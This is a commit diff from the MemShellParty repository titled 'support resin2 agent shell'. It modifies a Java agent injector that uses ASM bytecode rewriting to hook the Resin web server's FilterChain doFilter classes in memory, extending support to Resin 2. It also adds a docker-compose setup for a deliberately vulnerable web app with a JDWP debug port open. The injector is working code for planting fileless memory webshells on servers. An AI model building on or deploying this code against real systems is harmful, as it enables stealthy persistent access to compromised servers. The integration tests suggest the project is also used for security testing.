archive/MemShellParty
1
0
Fork 0
mirror of https://github.com/ReaJason/MemShellParty.git synced 2026-09-26 00:41:52 +08:00
Code Issues Actions Packages Projects Releases Wiki Activity

feat: support resin2 agent shell

Browse Source
This commit is contained in:
ReaJason
2026-02-08 20:44:00 +08:00
parent 9213b9365e
commit 5ddbca566e
3 changed files with 38 additions and 21 deletions
Download Patch File Download Diff File Expand all files Collapse all files
generator/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinFilterChainAgentInjector.java
+11 -5
View File
@@ -14,9 +14,11 @@ import java.util.zip.GZIPInputStream;
* @since 2025/3/26 * @since 2025/3/26
*/ */
public class ResinFilterChainAgentInjector implements ClassFileTransformer { public class ResinFilterChainAgentInjector implements ClassFileTransformer {
private static final String TARGET_CLASS = "com/caucho/server/dispatch/FilterFilterChain";
private static final String TARGET_METHOD_NAME = "doFilter"; private static final String TARGET_METHOD_NAME = "doFilter";
private static final String[] TARGET_CLASSES = new String[]{
"com/caucho/server/http/FilterChainFilter",
"com/caucho/server/dispatch/FilterFilterChain",
};
public static String getClassName() { public static String getClassName() {
return "{{advisorName}}"; return "{{advisorName}}";
} }
@@ -38,17 +40,20 @@ public class ResinFilterChainAgentInjector implements ClassFileTransformer {
inst.addTransformer(new ResinFilterChainAgentInjector(), true); inst.addTransformer(new ResinFilterChainAgentInjector(), true);
for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) { for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
String name = allLoadedClass.getName(); String name = allLoadedClass.getName();
if (TARGET_CLASS.replace("/", ".").equals(name)) { for (String targetClass : TARGET_CLASSES) {
if (targetClass.replace("/", ".").equals(name)) {
inst.retransformClasses(allLoadedClass); inst.retransformClasses(allLoadedClass);
} }
} }
} }
}
@Override @Override
@SuppressWarnings("all") @SuppressWarnings("all")
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined, public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
ProtectionDomain protectionDomain, byte[] bytes) { ProtectionDomain protectionDomain, byte[] bytes) {
if (TARGET_CLASS.equals(className)) { for (String targetClass : TARGET_CLASSES) {
if (className.equals(targetClass)) {
defineTargetClass(loader); defineTargetClass(loader);
try { try {
ClassReader cr = new ClassReader(bytes); ClassReader cr = new ClassReader(bytes);
@@ -60,12 +65,13 @@ public class ResinFilterChainAgentInjector implements ClassFileTransformer {
}; };
ClassVisitor cv = getClassVisitor(cw); ClassVisitor cv = getClassVisitor(cw);
cr.accept(cv, ClassReader.EXPAND_FRAMES); cr.accept(cv, ClassReader.EXPAND_FRAMES);
System.out.println("MemShell Agent is working at " + TARGET_CLASS.replace("/", ".") + "." + TARGET_METHOD_NAME); System.out.println("MemShell Agent is working at " + targetClass.replace("/", ".") + "." + TARGET_METHOD_NAME);
return cw.toByteArray(); return cw.toByteArray();
} catch (Exception e) { } catch (Exception e) {
e.printStackTrace(); e.printStackTrace();
} }
} }
}
return bytes; return bytes;
} }
integration-test/docker-compose/resin/docker-compose-2.1.17-jdk6.yaml
+11
View File
@@ -0,0 +1,11 @@
services:
resin2117:
image: reajason/resin:2.1.17-jdk6
container_name: resin2117
ports:
- "8080:8080"
- "5005:5005"
environment:
JAVA_TOOL_OPTIONS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005
volumes:
- ../../../vul/vul-webapp/build/libs/vul-webapp.war:/usr/local/resin2/webapps/app.war
integration-test/script/resin_pid.sh
+1 -1
View File
@@ -1,2 +1,2 @@
#!/bin/bash #!/bin/bash
pgrep -f Resin | tr -d '\n' pgrep -f 'Resin|-Dresin' | tr -d '\n'